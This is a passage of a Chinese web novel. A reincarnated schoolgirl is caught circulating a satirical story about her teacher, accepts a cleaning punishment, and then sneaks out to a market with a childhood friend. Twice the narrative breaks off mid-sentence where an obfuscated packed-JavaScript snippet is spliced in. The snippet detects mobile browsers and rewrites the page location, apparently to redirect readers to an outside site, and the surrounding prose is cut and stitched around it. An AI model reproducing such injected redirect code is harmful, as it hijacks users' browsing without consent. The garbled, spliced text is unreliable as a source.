齐先生仗着之前在京城做了一段时间官,花了大力气打点,托了很多人,对着原先他所看不起的同僚们笑脸相迎,最终和学正搭上了桥。 他读了这么多书,本以为考中功名之后优渥的生活也会随之到来,最终却被残败的现实打倒,但他一心想要出人头地,自然不可能就此作罢,舔着脸递了好几次请帖,终于得到了一次可以面对面交谈的机会,只是这位学正很精,哪怕见了面,对话之中还是含糊其辞。 齐先生自然不是什么都不懂的人,望着这些年攒下来的积蓄,哪怕心在滴血,还是狠心送了各种珍奇物件过去,终于有一天得到了隐晦的应答。 这种事若是发现肯定会面临牢狱之灾,两个人之间的交易非常谨慎,但是齐先生不知道那位学正会不会在无意识之间透露出去。 若是被发现,不光是自己之前花出去的银两作废,最坏的结果就是被押入大牢,哪怕有朝一日出来,现在这种日子也不可能了。 他辛辛苦苦读了这么多书,好不容易才在京城有一处落脚之地,若是就此打回原样…… 齐先生越想越惊惧,散落在地上的纸张没有人捡起来,他却像见到了什么可怖的东西一般,再也不肯多看一眼。 他强装着脸上的淡定,质问的声音却越来越大,像是想要借此掩盖自己的心虚:“现在坦白我还能小小惩戒,若是之后查出来,可就没有如此轻易了。” 齐先生望向那位掉落书籍的学生,一双眯眯眼变得锐利,仿佛能够看破真相:“你还是不说吗?” 这种东西有一就有二,况且主角的姓分明与他相同,他不相信班上其他人会不知道。 被齐先生盯着的人抖得跟筛子似的,脸早已经白了,他本来还强撑内心,不想要把人供出来,毕竟虽然是盛秋阑写的,但是最开始是他被发现,若是把人龚出来,肯定就没有大结局了。 想到这里,他往地上看了一眼,眼中不□□露出可惜。 而且这个年纪最是要面子,如果因为他一时软弱把事情都说了,这些同窗们肯定都会因此嘲笑他的,若是因此盛秋阑不写了,不免要把过错推到他头上。 是以在齐先生前面两次的询问当中,他一直闭着嘴坚决不说,一副英勇就义的样子,可是齐先生接下来的话却让他动摇了内心。 “私下妄议师长,还写成这种奸险歹毒之人,看来我只能告知你的长辈了,不过看在你年岁尚小,估计最开始也是受人蒙骗。这样,若是你说出是谁干的,我可以暂且放过你,只是小惩一下。” 心逐渐在话语中摇摆起来,他想起了自己的爹娘,不自觉抖了一下,若是齐先生真的告诉他们的话,到时候不仅仅要受到责罚,他爹肯定也不会轻饶他。 脑门上渐渐出了汗,一双眼睛不安分地左右乱看,似是摇摆。 齐先生见到他这幅样子,就知道刚刚的话有效果,突然换了一副面孔,脸上的表情松弛下来,努力做出一副亲切和善的样子,只是他在这群学生面前威严装久了,反而看起来不伦不类。 齐先生循循善诱:“没事,你只是说出来而已,其他的我自有定论。我知道平日里你们可能对我有些许意见,但是毕竟是教书之人,如此做法也是希望你们能够尽快懂得圣贤之道,之后还要参加科举,这种事情自然不能影响你们的前途。我只是想要知道是谁写的书,念在初次,也不一定会因此过多责罚。” 那位学生额头上的汗更多了,盛秋阑一开始还以为自己能够逃过一劫,见状在心里叹了一口气,应该还是逃不掉。 哪怕现在没有松口,但是对方明显内心产生了动摇,这也是齐先生最开始的目的。 望着那惨白的小脸,盛秋阑都要开始不忍心了。 干脆她现在站起来吧,也好过这种折磨,毕竟对着齐先生那张笑脸,不管是谁都忍受不了,回去指定要发上三天高烧。 傅如珩转头看见盛秋阑正关注着那个方向,他误会她是担心那个人把她供出来,难得主动碰了盛秋阑的手。 “放心,如果真说出来了,我就说最后是我干的,不会让你受罚。” 后面连个人也听见了,长孙胜赶紧说:“我也可以,我皮糙肉厚,不怕罚。” 林辞殊虽然也没见过这个场面,手心里都出了汗,但是语气却很坚定:“我也是。” 只是一次意外,竟然被这几人做出了赴死的架势。 盛秋阑原本就不慌张,却因为他们的举动生出几分暖意。 她反过来宽慰三人:“放心,我才不怕他。况且就算告家长了,我爹娘也不舍得责罚我。” 盛秋阑原本没打算这么快告诉他们自己原先就做好了打算,但是见他们担心的样子,还是决定透露一点:“我先前已经跟娘亲说过了,就算这次他罚我,估计也在这里呆不了多久。” 听她这样说,三人才放心了一点,原本以为盛秋阑是强装镇定,没想到是真的有准备。 齐先生各种方法都用过了,心里早已经开始不耐烦,那位学生原先确实动摇了一瞬,但因为各种纠结,迟迟没有松口。 他目前只抓到了这个辫子,如果就此放过,就没有别的切入口了,只能够一直反反复复地询问。这会儿功夫,那个学生的心理防线已经被打破了,哪怕没有说出名字,但眼睛却往盛秋阑方向看去。 齐先生一直关注着他的动作,当即就捕捉到了这一点,他收敛起脸上装出的笑容,朝着那个方向望去,看见盛秋阑的那一刻,他冷笑一声。 原先的预感果然没有错,就是盛秋阑。 两个人也算是积怨已久,齐先生当真放过那位学生,朝着盛秋阑走过去。他原先持着自己的身份,走路总是小步度量,现在也不再克制,迈开大步,几下就站在了盛秋阑面前。 班里的人虽然在刚才闭口不答,但是还是时刻关注着情况,他们内心还是不希望盛秋阑被发现的,毕竟要是被揭穿了,他们苦苦等待的大结局估计也没有着落了,现在看到齐先生走向盛秋阑,脸上都露出了不忍,有些人不满地望向那个学生,后者低着头逃避他们的眼神。 他当然也不想这样,只是被发现的又不是他们,自然觉得轻松。 愤懑与郁闷交织,那人似乎是给自己增加了底气,偷偷摸摸向盛秋阑的方向望去。 齐先生之前表现得那么愤怒,大家都感觉盛秋阑这次少不了一顿惩戒,只是内心还抱着一点希望。 万一齐先生真的像之前所说的那样,会念在初次犯错给予宽容呢? 作为所有人关注的焦点,哪怕事情被揭露了,盛秋阑也像之前那样,就连表情都没变一下。 齐先生气势汹汹走到盛秋阑身边,一开始没有开口,而是上上下下把人打量了一番,想要从她的脸上找出胆怯,但令他失望的是,盛秋阑表情都没有变,好像丝毫没有暴露的害怕。 他一开始想让盛秋阑先行低头,没想到她这么沉得住气,等了半天都没有等到人开口,原本占据的主动地位也渐渐变得弱势。 视线焦点全部都集中在他们两个人身上,齐先生原本就情绪不定,在一片沉默之中更是慌乱。 不行,不能自乱阵脚,这群小崽子稍微吓一吓就不敢说话了,刚才那位一开始也是嘴硬,不还是被撬开了? 齐先生心中安慰着自己,板着脸开口:“这个本子是你先传出来的吧?” 他本以为盛秋阑会狡辩一番,在心中斟酌着要如何厉声询问,没想到后者坦然承认了。 “书是我带来的。” 齐先生定了定心神:“既然如此,你可知道在背后乱议尊长是何过错?若是在国子监,可是终身不得科举的!” 他故意把事情说得很严重,想要以此来吓唬一下面前这个还不知好歹的女孩,这样自己之后说出了较为轻松的惩罚,还有可能会得到盛秋阑的好感,毕竟书中描绘的情景还是给了他几分震慑,现在不好完全撕破脸。 齐先生的算盘打得很响,可惜盛秋阑却不吃这套。 她慢悠悠地整理了一下面前的书本,仿佛被询问的不是她,就连声音都没有抖:“书是我带的,若是先生要罚我乱带闲书,秋阑甘愿受罚,可是若是说我诋毁师长,我却不知自己做了什么。” 不只是齐先生,讲堂里面的其他人也都被这句话搞混了。 证据都在面前,盛秋阑已经承认了书是她带的,现在怎么又不肯承认诋毁师长? 若是想要狡辩,也应该是最开始才对吧。 盛秋阑忽略了其他人震惊的眼神,定定地望向齐先生。 齐先生说话都开始哆嗦了,指着那一堆书:“这其中分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216782|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明写的就是我的名字,至于内容更是不堪入目,不是诋毁师长是什么?” 盛秋阑“哦”了一声:“可是那里面的主角也只有齐先生三个字,天下姓齐的先生这么多,这也只是凑巧罢了。更何况里面的内容都是瞎编的,先生不必如此慌张。” 他慌张? 齐先生下意识开始反思自己刚才是不是情绪太过激动,以至于被看出了端倪。 他清了清嗓子,没有让盛秋阑带偏:“即便如此,你带头让闲书进入学堂,纠集同窗传阅,荒废课业,还是当罚。” 这种严重程度,应该要告知长辈,但是齐先生见盛秋阑丝毫不慌的样子,又开始犹豫了。 他想到进来之前,听见别人说过侍郎千金的受宠程度,看盛秋阑这种有恃无恐的样子,若是告诉家长可能也不会有什么惩罚,外加上他还是对书中所说的内容心存忌惮。 虽然盛秋阑说书中的内容凭空杜撰的,但是偏偏踩中了一点真相。齐先生不敢去赌那一分可能,若是告知了家长,盛秋阑有可能会在激动之下把内容告诉侍郎夫妇,小孩子不会有怀疑,但是家长就不一定了。 联想到一系列的后果,齐先生原本要说的话转了一个弯,换了一种更加温和的惩罚方式:“念在你是初次,外加上年少不懂事,便罚你去后院整理闲置的书库。” 原本紧张关注结果的人全都暗暗松了口气,相比起告知家长,这个惩罚确实轻松很多,而且如果盛秋阑被揪出来,他们也免不了要受到一番搜查。 盛秋阑没有多话:“学生知晓。” 望见盛秋阑接受了惩罚,哪怕他们心中还有问题,也不敢再去问了。 毕竟人刚刚因此受罚,换做谁都不敢再次犯事,不然可能就不止这种惩罚了。 只是大结局也没有了,其他人还是大感失望,就连听课都提不起精神。 讲堂中的氛围低迷了三天,在第三天,重新在盛秋阑的桌子上看见了熟悉的本子封面,其他人先是一愣,随即很快冲上来。 “竟然还能看到大结局吗?” “太好了,前几本我翻来覆去看了好几遍,都能够背下来了。” “看不到大结局我最近都没有睡好,上课都在打瞌睡。” 盛秋阑此时在他们心中赫然已经成为了英雄一般的存在,毕竟顶着这么大的压力,竟然还愿意给他们写书。 盛秋阑不知道他们心里所想,被他们崇拜地看着,心思全然放在了银子上:“还是一样,二两一册。” 这一次交钱的人比之前都要爽快很多,不少人甚至丢了几倍的银子进去:“多的不用找了。” 盛秋阑哪里能想到这件事被发现还能有这种效果,忙不迭把银子收起来。 傅如珩在旁边盯着,等到本子全都发完了,才把注意力转回盛秋阑身上,见她还在笑眯眯看着荷包里面的钱,无奈道:“你就不怕被发现?” 他原先是不同意盛秋阑在这么短的时间内把本子发出来的,毕竟要是齐先生再次像上次一样突然进来,那就是罪加一等,这时候再也没有了其他可以辩解的理由,但是盛秋阑却还是坚持。 “我原先都已经答应了,坑结局这种事不是我的作风。” 傅如珩虽然听不懂那个词,但是也能猜到其中的意思:“那要不过段时间。” 盛秋阑摇了摇头:“现在正是他们情绪连贯的时候,过段时间就没有这么好的效果了。而且先生原先抓了一次,估计不会再短时间内过来,反而可以逆道而行。” 她猜得没错,发书的过程异常顺利,有了上一次的教训,大家也不敢在讲堂里面拿出来,全都把本子放在了自己随身携带的私人书箧中,打算偷偷摸摸拿回自己房中去看。 “难道就这样结束了?”长孙胜闷闷地说。 盛秋阑的惩罚要等到下旬才开始,这段时间齐先生虽然没有再对她做什么,但已经不像之前那样明目张胆了,一副想要教训又没有胆子的样子,只能暗戳戳地下绊子,在日常功课和课堂上频频点名。 “之前不是说告诉了你娘,可是齐先生好像还是好好的。” 盛秋阑算了算时间:“应当快了,最迟等我惩罚结束之后。” 想要把先生调离学堂,当然不仅仅只是一家的意见,哪怕侍郎在朝中地位不低,其他人也不是任听调遣的。 虽说家长可以插手学堂事务,但一般情况都是由祭酒主导,不会过多影响。 她本来觉得这件事情还需要很久,但是想到齐先生之前看到本子内容时的神情,不像是一般的愤怒。 莫非真让她写中了? 35. 糖雪球 不管怎么样,这都不是盛秋阑现在能够影响的,她只稍微怀疑了一下,就迅速把这个念头压下去了。 旬假之后,盛秋阑彻底开始了她的惩罚。不仅仅是傅如珩三人,其他同学也纷纷开口。 “我也可以和你一起。” “我也来,我也来。” 这个年纪正是重义气的时候,盛秋阑哪怕被发现了还要坚持把大结局给他们,只是区区一个打扫罢了,他们自然也能帮忙。 他们发言踊跃,场面的热闹程度让人分不清究竟是去打扫还是出去玩的。 盛秋阑哭笑不得,把所有人都拒绝了:“不用了,若是被先生知道,可能还要罚。” 想想齐先生一进门,看见一讲堂的人都不见了,头顶原本因为这几日心慌焦虑而掉得没剩多少的头发估计都要炸了。 “真的不需要?” 见盛秋阑独自拿着清扫工具出门,傅如珩还在后面不放心地问道。 盛秋阑在府中当然是不需要干活的,任何事都有旁边的下人帮忙,现在却需要自己去整理偏僻的书阁,说不准各种工具的用途都分不清。 “不用。” 盛秋阑潇洒地甩了甩手中的小毛刷,她在这辈子确实没干过活,但是上辈子类似的大扫除却干了不少,根本不像傅如珩所想的那样是手指不沾阳春水的大小姐。 如此想来,现在正在讲堂里面坐着的才是真正没有打扫过的富家公子千金。 如果是当时真的让他们来帮忙,场面还不一定会乱成什么样子。 书阁距离他们的讲堂有一段距离,盛秋阑穿过学堂中的竹林,来到了位于后方的书阁。 推开木质门锁,扑面而来的是一股陈旧的气味,书阁最顶端有一处窗户,外面是铁制的栏杆,将光线分成了几部分。即便如此,因为常年不开窗户,整座书阁都散发着阴暗潮湿的味道,昏暗的光线之下,矗立着的几座书架上面摆满了书,因为常年没有人借阅,书页边缘已经变得有些发黄,上面蒙着一层灰。 在这种环境下不好打扫,盛秋阑下意识开始寻找墙壁上面的开关,随后才想起来这时候没有灯。 墙壁上倒是挂着几盏壁灯,只是上面的棉芯只剩下了短短一截,还残留着燃烧之后的灰烬,显然已经是很久没有更换过了。 没办法,只能这样了。 盛秋阑先走到窗户旁边,把已经蒙上了灰的窗子打开一半,外面的阳光透进来,照亮了一半的书阁,空气中的尘埃清晰可见,不断地舞动。 总算把萦绕在鼻尖的陈腐气息驱散了一些,盛秋阑深吸一口气,拿起手中的毛刷开始清理。 清洁的工程比她想象中还要大,软毛一沾上柜子就变得灰扑扑一片,大团的灰尘粘在顶端。若是按照现在这个情况,等到惩罚结束也做不完。 盛秋阑视线扫过一圈,想起之前在杂物格中看见了细鸡毛掸子,现代已经很少用这种工具了,不过出现在这里却是刚好。 鸡毛掸子的范围比毛刷要大得多,很快书架上面的灰就簌簌下落,在地上积起了一层。 她扫得欢快,但是灰尘的面积实在太大了,哪怕提前注意,还有不少碎屑都粘在了衣服上。 盛秋阑简单清理了小半边,看了看挂在墙上的时钟,中午休息的时间快要过去,马上就要到下午上课的点了,她把手上的工具放回原位,低头看见袖口处沾着的灰色,皱了皱眉。 来的时候好像在不远处发现了一个水池,距离上课还有一会儿时间,清洗一下也来得及。 盛秋阑把窗户关住,又将门掩上,按照当时的记忆跑向水池。 水池不算大,但池水还算清澈,盛秋阑搓了一会儿,终于将上面的灰尘基本洗净。 宽大的袖口还是湿的,沾在身上异常难受,她将湿透的部分挽起来,露出一截小臂。 水珠落在池面上,泛起一圈圈波澜,盛秋阑转头想要回去,却看见了一道光线。 这处光线来得太过离奇,在一片阴影之中形状规则,盛秋阑循着光线找过去,终于在不远处的几堆石头当中发现了一处低矮的墙面。 这处墙的最顶上凹凸不平,看起来是做工到一半被放掉了,砖块裸露在外面,整面墙只到她的腰部。 盛秋阑现在所处的地方是学堂的背面,后方就是群山。 这处空缺应当是在修缮时没有被注意到的,又因为鲜有人知,才一直没有被人发现。 虽然这个高度以她现在的身高不能直接跨过去,但是若是借力跳一下,还是能够轻松翻过的。 这不是一个绝佳的逃学地点吗? 盛秋阑上辈子虽然不算听话乖巧,但也是遵纪守法的好学生一枚,从来没有干过逃课这种事,这次获得了第二次机会,她势必要将上辈子想干却不敢干的事情全都干一遍。 说起来,上辈子她死的时间太早,就连男人的嘴都没亲过。 听说江南有不少美男子,等到在这边一切结束了,就去那边的青楼里好好体验一番,把头牌都点上。 光是想想自己四周被各种风格不一的男人包围,盛秋阑就忍不住要笑出声。 她默默记下了空缺的地方,拎着衣服跑向讲堂。 不管之后是什么富贵生活,她现在还是得在讲堂里面乖乖听课。 终于赶在先生进门之前回到讲堂当中,傅如珩上上下下看了一圈,没有从她的神色当中瞧出不耐,反而隐约透露出兴奋。 打扫个卫生,有什么好乐的? 盛秋阑也不知道是怎么从他面无表情的神色当中看出疑惑的,神秘兮兮地凑在他耳边说:“到时候再跟你说。” 说话之间,齐先生已经来到了讲堂,见盛秋阑放荡不羁的造型,暗自皱了皱眉,却没有多管。 他这几天一直忙着联系那位学正,明里暗里想要套出对方有没有跟别人说这件事,那个老狐狸还装腔作势地收下几份礼之后才肯露面,话语中根本看不出破绽。 在一切都没有定下之前,他也不想多得罪盛秋阑。 第二日中午,盛秋阑依旧是急急忙忙来到自己的座位上,只是这一次她胸前鼓鼓囊囊的,不知道装了些什么。 趁着台上的先生没注意,盛秋阑飞快地从外面套着的长衫中翻出来一袋隐约泛着红色的东西,细细一闻还能嗅到甜蜜的香气。 傅如珩眼睁睁看着她将袋子打开,糖浆的香气更加浓郁。 那是一整袋圆鼓鼓的糖雪球,通红的山楂外面裹着一层白霜,均匀地覆盖在红色上面,只能从缝隙中透出一点颜色。 学堂当中不能带吃食,而且现在天气渐热,糖球捂不了多长时间就会融化,但是看袋子中的这些圆球分明还是晶莹剔透,看起来就像刚出炉的一般。 傅如珩避开台上的先生,低声问道:“哪儿来的?” 盛秋阑笑眯眯:“秘密。” 她伸出食指和拇指,率先从袋子当中捏了一颗糖球塞进嘴里,清甜的糖裹着淡淡的甜意在嘴中弥漫,内里的山楂酸甜,还带着一点热意。 热气裹着糖香一直蔓延到后面,附近的人明显也闻到了这股香味,四处张望着寻找源头。 “你有没有闻到香味?” “闻到了,是不是糖人?” “你放屁,明明是果干。” 一人耸了耸鼻子:“这讲堂无缘无故怎么会出现香味呢,莫非是有人偷偷带东西进来了?” “怎么可能,大家都在这里,若是有气味早该出现了,大抵是闻错了。” “可是我怎么也闻到了。” “那你也闻错了。” 台上的先生轻了两声嗓,淡淡地扫了他们这个方向一眼,两个人登时闭上嘴,默默低头看课本。 傅如珩尝了两颗就放下了手,学堂当中不允许在中途出去,门口有看管的值守,在没有人掩护的情况下,想要出去几乎是不可能的。但这袋子糖球实实在在地摆在眼前,不可能作假。 手指上还粘着糖球外层的糖霜,摸起来又黏又腻,傅如珩掏出随身携带的帕子擦拭,默默做出了一个决定。 第二日,盛秋阑照例离开讲堂,在她离开之后的几分钟后,傅如珩默默跟了上去。 他一直维持着一个不远不近的距离,前面的人没有发现,径直穿过竹林,先到一旁的杂物间拿了清扫工具,随后神色如常地推开了书阁的门。 傅如珩在书阁外面徘徊了一圈,最终还是没有进去,而是找了一个隐蔽的地方藏着,这个角度可以看见书阁大门的动静,但是不至于被立刻发现。 时间一分一秒过去,太阳逐渐从头顶正上方慢慢向西移动,可书阁的门始终是微微敞开,并没有人从里面出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可即便盛秋阑话语中似是抱怨自己带过来的不容易,分享的动作也一点都没有停。 傅如珩低着头看那糖球,因为时间流逝,再加上放在盛秋阑手中被体温捂化了,外面的那层白色糖霜有些已经融化:“那你还给我?” 盛秋阑好像没有听懂他的意思,理所当然道:“这算什么问题,我的就是你的。” 她似是有些不耐烦了,抬头看了一眼台上先生的动静,压低声音:“你吃不吃,不吃拉倒。” 傅如珩对这种逗小孩的零嘴没什么兴趣,或许年纪稍微小点,他会在街上多看两眼,只是不会有人给他买而已,但是现在却没有了那种兴致。 盛秋阑却一直乐忠于给他分享这些东西,好像记忆还停留在那次周岁宴分享的奶糕上面,她下意识觉得傅如珩也喜欢吃这类甜食。 那次从周岁宴回去之后,傅如珩就与后厨的那位厨娘打好了关系,他还记得盛秋阑吃奶糕时发亮的眼睛,一看就很喜欢,下意识想每次见面时对方都是这副高兴的模样,所以哪怕从小不善言辞,却会因为能够多得到两块奶糕学着别人卖乖,最后得来的奶糕全都进了盛秋阑的口袋当中。 盛秋阑小时候明令禁止吃这些零嘴,所以每天都盼着傅如珩带过来的东西,若是有她喜欢吃的,那一天的笑容明显比之前更加开怀。 傅如珩明明没有吃,但是见盛秋阑这幅样子,却好像已经感受到了那一抹甜,不自觉也高兴起来。 他小时候明明也是喜欢这些零嘴的,但是后来却渐渐失去了兴趣,或者可以说,他对这些零嘴的喜爱转移到了其他事情上面。就像当初那块奶糕,自己藏了很久,虽然给别人吃了,但是也很高兴。 不知道从什么时候起,他的乐趣好像就是见盛秋阑高兴,比他小时候第一次从厨娘手中接过渴望已久的奶糕还要令人欢心。 等到之后盛秋阑稍大一点,就可以自主分配自己的小金库了,她自从出生开始就得到了不少宝贝,拿到手的钱财更是足够多,当即拽着傅如珩到市场上,豪气地把每种口味都买了一遍,傅如珩却再也没有尝过比那更甜的奶糕,哪怕当时只尝了一点外面的奶粉。 他最终还是又拿了一颗,这时候的糖球口感没有最开始那么好,但是依旧好吃,山楂和糖的酸甜中和得很好,外层的糖霜有些粘在手上,留下白色的粉末,倒是和当初的场景重合。 傅如珩举起拇指,舔了一口,糖霜化在口中,留下了甜滋滋的味道。 和记忆里面的一样甜。 36. 逃学 盛秋阑有了昨天的经验,今天信心满满地退后几步,正打算冲刺,后面突然出现了脚步声,完全没有遮掩,好像就是为了让她听到。 她反应很迅速地转过身,让自己远离了那一处墙体,下意识扬起自己犯错时卖乖的笑,但在看到来人时又变成了惊讶。 大脑还没有反应过来傅如珩为什么会在这里,笑容挂在嘴边没有放下,唯有身体已经下意识放松。 傅如珩神色平淡地望了望她身后的墙,好像一点都不奇怪,甚至看到她动作时反问:“不翻了?” “翻的翻的。” 既然是傅如珩,那就没事了。 盛秋阑重新回到起点,距离墙面大概三四米的位置,冲刺再加上起跳,如果顺利的话一次就能够盘上墙面上突起的两块砖头。 她刚刚摆好姿势,隐约听到后面传来一声笑。 这里没有旁人,只能是傅如珩发出来的。 盛秋阑愤愤地转头,笑什么笑,别以为没说话她就不知道傅如珩是在笑她个子矮,只能用这种方法翻过去。 昨天还吃了她带的糖球呢,居然现在还笑他,甚至还不如兰兰和言言,它们在吃了她给的菜叶子时都能够勉强温顺地让她狠狠揉搓一把。 傅如珩顶着盛秋阑愤恨的眼神走上前:“往前走。” “干什么?” 虽然嘴上不讨饶,盛秋阑还随着他的指示一直来到了墙根,那残缺的墙在她的腰部,就算跳起来也跨不过去。 盛秋阑转头判断着,估摸了一下傅如珩和墙之间的差距,颇为沮丧地发现对方好像都不需要踮脚就能够离开。 难道让她过来时为了让她看着他过去吗? 盛秋阑磨牙,如果傅如珩真的这么干,她绝对要把人打一顿。 正暗自捉摸着打哪里最疼,傅如珩靠近了她,随后双手拖住她的后腰,手臂用力,盛秋阑整个身子都腾空起来,只需要稍稍一抬手就能够到最上面的砖块。 正好省了她跑步的力气,不然要是当着傅如珩的面没有跳成功,那不就丢大脸了。 盛秋阑牢牢扒住砖块,手臂弯曲用力,跨坐在了墙上。 砖块上面还有着碎石,是长年累月被腐蚀后掉下来的,她没有等傅如珩,直接跳了下去,稳稳落地。 脚底板被震得有些发麻,盛秋阑绷着一张脸,才想到这时候傅如珩不在旁边,不需要装腔作势,才稍稍放松了,龇牙咧嘴地揉了一下膝盖。 算算时间差不多了,盛秋阑站在距离围墙有一段距离的位置,在心中默默数着。 “三、二、一。” 墙头飞上一个敏捷的身影,甚至没有过多停顿,就跳了下来,与刚才盛秋阑所站的位置相差无几。 “看我干什么?” 被揭穿了盛秋阑也不尴尬,确认自己真的没有再傅如珩脸上看到扭曲地神情,才失望地转头。 哼,肯定是一直憋着,不愿意让她看见。 她刚才跳下来的时候也可帅了。 傅如珩环顾了一圈四周,学堂后方靠近山野,周围一片荒僻,入眼中只见到零星几棵小树。 他这时候想到其中问题:“最近的集市距离学堂也需要好几里,若是走路过去,绝对赶不回来。” “谁说我们要走路过去?” 盛秋阑冲他眨眨眼睛,小心翼翼地从边缘绕过学堂正门,穿过邻近的一条小巷子中,已经有一辆马车等在那边。 “我昨天刚好碰上车夫在这边,他载我去集市。想着之后不一定会有这种运气,干脆给了他一些银子,让他今日也等在这里。” 傅如珩简直要被她的缺心眼给震惊了:“你就不担心遇上坏人?” 若是有心之人提前等在这里,按照盛秋阑的身份,抓住之后向侍郎府提出要求,侍郎夫妇不可能不应,若是能将人放了也是好的,更坏的可能是拐到某处荒郊野岭。 盛秋阑昨日逃出去之后正纠结自己应该往哪儿走,苦恼着自己没有交通工具,偶然碰见一辆马车,正好解了燃眉之急。她见车夫面善也没有过多猜疑,潜意识当中还把自己当成了一个成年人,却忘记了自己现在的身体还只有几岁,若是遇到了危险,真不一定能够逃脱,也幸好这个车夫昨日真是凑巧才会来到这里。 现在被傅如珩点出来之后,她才察觉昨日有些冲动,乖巧应声。 “下次我一定打探清楚,不过现在我银子都付了,我们快走吧,时间快没了。” 中午的时间本就不长,外加上还有路上来回,留给他们闲逛的时间更是少。 普通马车没有自家那么宽敞,座位上也没有铺软垫,舒适感不如平时,不过盛秋阑不在意这些细节,兴致勃勃地对前方驾马的人说:“还是昨日那个集市。” “好嘞。”那人抖动缰绳,马车很快驶离了小巷,在颠簸之中向着市内前进。 轮子驶过有些坑洼的道路,厢内一阵摇晃,两人本就因为狭小的空间紧靠在一起,盛秋阑一时间没有坐稳,整个身子都往旁边倾斜。 一股花香萦绕在鼻尖,是盛秋阑经常用的面霜香气,带着山茶花的清甜,披散的发丝有些凌乱,不经意间划过手指,只留下柔顺的触感。 傅如珩扶住她,柔软的身躯紧紧贴着胸膛,他听到了心脏不断跳动的声音,越来越响,伴随着怀中人的呼吸起伏,恍若要跳出来。 盛秋阑撑着身下的人想要坐起来,没想到这时候马车又是一阵抖动,前方驾马的车夫声音在众多石硕滚动之间显得不甚清晰。 “这段路有些难走,抓稳了。” 已经晚了。 盛秋阑刚刚坐直到一半的身体重新歪斜下来,傅如珩感觉怀中一重,比刚刚的力道更大。 “不好意思。” 即便两人从小一起长大,但也没有如此尴尬的时候,盛秋阑第二次想要挣扎,却被傅如珩阻止了。 “不想第三次被砸了,你就这样躺着吧。” 车厢当中的摇晃没有停止,他的话也不无道理,盛秋阑顺势将所有的力气卸掉,半个身体的力量都压在傅如珩身上。 相比起因为材质略硬而有些硌人的坐垫,傅如珩身上确实要舒服很多。 盛秋阑秉持着不坐白不坐的心思,心安理得的半靠在他身上,有些无聊地开始玩起了自己的头发。 细细一缕头发被编成了麻花辫又散开,盛秋阑乐此不疲,以至于没有意识到傅如珩自从说完那句话之后就再也没开过口。 女孩毫无防备地靠在自己身上,原本稍稍平复了一些的心跳再次加快,快到傅如珩开始怀疑外面的声响能不能盖过自己的声音。 他稍稍低头就能够碰到盛秋阑的头顶,距离嘴唇只剩下一点距离。这时候傅如珩才发现盛秋阑确实长得很快,已经不再是那个总是跟在后面的小团子了,少女的特征渐渐显现。 他略显慌乱地错开眼神,不再向下看,若是此时盛秋阑转头,还能惊奇地看到傅如珩的耳根泛起了一层薄红。 两只手无措地放在两边,似是想要搂住身上的人,但是又被理智强行压下这种想法,最终只能饮鸩止渴似的抓住了盛秋阑的衣裳。 两人明明身处在同一个空间,心思却完全没有在一处,以至于完全没有感受到车厢中的摇晃已经停止,直到马车完全停下,窗外响起了车夫粗犷的声音:“两位小客官,已经到地方了。” 盛秋阑猛得从傅如珩身上坐起来,拉开了马车门,外面的阳光瞬间透进来,好像将里面的所有旖旎氛围全部都照了个一干二净,包括傅如珩某些自己都没有意识到的心思。 胸前一轻,被挤压的空气重新涌入怀中,傅如珩深吸一口气,直到心跳渐渐放缓才下车。 盛秋阑一只手扒着车门,正想往里面探头,两人猝不及防对视,距离被拉得极近。 傅如珩呼吸一滞,盛秋阑却完全没有察觉,催促道:“快些,买完我们还要回来。” 她从自己的荷包里面掏出相应的银子递给车夫:“麻烦您等一下,等会儿我们还要回去。” “好嘞。”车夫望着手里面的银子喜笑颜开,有了固定的主顾就不用花费力气自己拉客,何况盛秋阑给钱公道,他自然不会拒绝。 这是距离学堂最近的一处集市,虽然热闹程度比起市中几座大集市略逊一些,但各种摊贩也不少。 盛秋阑昨日就已经来过了,熟门熟路带着傅如珩来到中间的位置,几处摊子门口 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见傅如珩已经把东西接过,盛秋阑转而开始张望着其他摊子。她现在已经不是那个被克扣零花钱,只能在一旁眼巴巴看着的人了,卖小说时得来的银子全都被放在荷包当中,就算想要将这一条街的东西都买一遍也没问题。 同窗的钱,她的温床。 盛秋阑在前面走着,看到一家感兴趣的就挥手买下,身边的傅如珩自然会接过。一连买了几家店之后,盛秋阑还是一身轻松,反观跟在她身旁的傅如珩,两只手已经提满了东西。 “这么多,你吃得完吗?” 盛秋阑这才开始看他手上的东西,除了刚开始的饼,还有糖画、小麻花、蜜饯、芝麻团等等。买的时候只顾着嘴馋,看中了就付钱,不知不觉竟然已经这么多了。 “等等,我再去买一样,你就等在这里。” 她不知道看见了什么,跑到一个摊子面前,回来的时候手上端着一碗热气腾腾的馄饨。 这个画面与记忆当中极其相似,只不过这次付钱的人成了盛秋阑。 “还有一点时间,我们就在这吃了吧。” 照样是随处在路边拣了一处较为干净的地方,盛秋阑坐下去,一面还招呼着傅如珩也过来。 她手中的馄饨冒着白烟,汤水上面飘着紫菜和虾米,盛秋阑这次买下的馄饨要比上次份量更小一点,肉馅也更加小巧,从外面看上去只有指甲盖这么大,剩下没有包裹住的皮在汤中飘散。 傅如珩低头看了一眼碗中的馄饨,怀疑盛秋阑被人坑了:“怎的这么小?” 盛秋阑已经塞了一只馄饨到嘴里,她咽下口中的东西:“还好吧,江南的馄饨都是这样式的,京城的分量会多一些。” 傅如珩听出了话语中的不对:“你怎么知道江南的馄饨是这样?” 遭了,忘了自己这辈子了一直待在京城里,根本没有办法知道。 哪怕已经在这里活了十多年,盛秋阑有时候还是没有转变过来,下意识就把实情说出来了。 她开始紧急补救:“是那个摊主说的,她说她就是从江南过来的。” 